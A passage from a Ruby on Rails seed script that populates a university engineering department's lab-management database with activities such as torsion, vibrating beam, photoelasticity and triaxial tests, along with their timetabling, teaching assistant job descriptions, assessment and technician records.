nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a241.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a242 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"529\").first_or_create!(name: \"Torsion\",\n name_abrv: \"TORSION\", archived: false, in_drive: false, user_id: 1)\n at242 = ActivityTimetable.where(activity_id: a242.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a242.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a242.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students perform torsion tests on a series of rods made from different materials and having a range of lengths.From the data, students plot stress-strain curves and determine the mechanical properties of the rods, comparing the effect of rod length and material on the obtained data. A knowledge of mechanical performance of materials is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a242.id).first_or_create!(assess_weight: 4.0, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a242.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a242.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a243 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, user_id: 1)\n at243 = ActivityTimetable.where(activity_id: a243.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a243.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a243.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a243.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a243.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a243.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a244 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, user_id: 1)\n at244 = ActivityTimetable.where(activity_id: a244.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a244.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a244.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a244.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a244.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a244.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a245 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 3)\n at245 = ActivityTimetable.where(activity_id: a245.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a245.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a245.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a245.id).first_or_create!(assess_weight: 20.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a245.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a245.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a246 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 2)\n at246 = ActivityTimetable.where(activity_id: a246.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a246.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a246.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a246.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a246.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a246.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a247 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"545AE\").first_or_create!(name: \"Compressors 2 and Rolling Spheres\",\n name_abrv: \"Compressors 2\", archived: false, in_drive: false, user_id: 1)\n at247 = ActivityTimetable.where(activity_id: a247.id).first_or_create!(duration: 40, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a247.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a247.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a247.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a247.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a247.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a248 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR124\").first.id, code: \"533\").first_or_create!(name: \"Band Break Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 1)\n at248 = ActivityTimetable.where(activity_id: a248.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a248.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a248.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a248.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a248.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a248.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a249 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR301\").first.id, code: \"534\").first_or_create!(name: \"Wear\",\n name_abrv: \"Wear\", archived: false, in_drive: false, user_id: 1)\n at249 = ActivityTimetable.where(activity_id: a249.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 21, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a249.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a249.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a249.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a249.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a249.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a250 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"535\").first_or_create!(name: \"Photoelasticity\",\n name_abrv: \"PE\", archived: false, in_drive: false, user_id: 1)\n at250 = ActivityTimetable.where(activity_id: a250.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a250.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a250.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a250.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a250.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a250.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a251 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"536\").first_or_create!(name: \"Digital Image Correllation\",\n name_abrv: \"DIC\", archived: false, in_drive: false, user_id: 5)\n at251 = ActivityTimetable.where(activity_id: a251.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a251.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a251.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a251.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a251.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a251.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a252 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"537\").first_or_create!(name: \"Strain Guages\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at252 = ActivityTimetable.where(activity_id: a252.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a252.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a252.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a252.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a252.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a252.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a253 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"538\").first_or_create!(name: \"Dynamics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at253 = ActivityTimetable.where(activity_id: a253.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a253.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a253.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a253.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a253.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a253.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a254 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at254 = ActivityTimetable.where(activity_id: a254.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a254.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a254.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a254.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a254.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a254.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a255 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at255 = ActivityTimetable.where(activity_id: a255.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a255.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a255.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a255.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a255.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a255.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a256 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at256 = ActivityTimetable.where(activity_id: a256.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a256.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a256.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a256.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a256.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a256.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a257 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at257 = ActivityTimetable.where(activity_id: a257.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a257.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a257.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a257.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a257.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a257.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a258 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at258 = ActivityTimetable.where(activity_id: a258.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at258.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a258.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/EhURKE\",\n mole_pub_link: \"https://goo.gl/FX6rau\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a258.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a258.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a258.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a258.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a259 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at259 = ActivityTimetable.where(activity_id: a259.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at259.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a259.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a259.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a259.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a259.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a259.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a260 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER380\").first.id, code: \"313\").first_or_create!(name: \"Aircraft Design\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at260 = ActivityTimetable.where(activity_id: a260.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a260.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a260.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"This experiment involves helping students build an aircraft which they have designed in the Merlin flight simulators. Once they hacve successfully built the aircraft, they will perform a test flight of the aircraft in order to assess the capabilities in relation to the design brief provided by the module leader. An interest in aircraft design and flight performance would therefore be desirable for this role.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a260.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a260.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a260.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a261 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode7\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at261 = ActivityTimetable.where(activity_id: a261.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a261.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a261.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a261.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a261.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a261.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a262 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"433\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"OOBLECK\", archived: false, in_drive: false, user_id: 3)\n at262 = ActivityTimetable.where(activity_id: a262.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 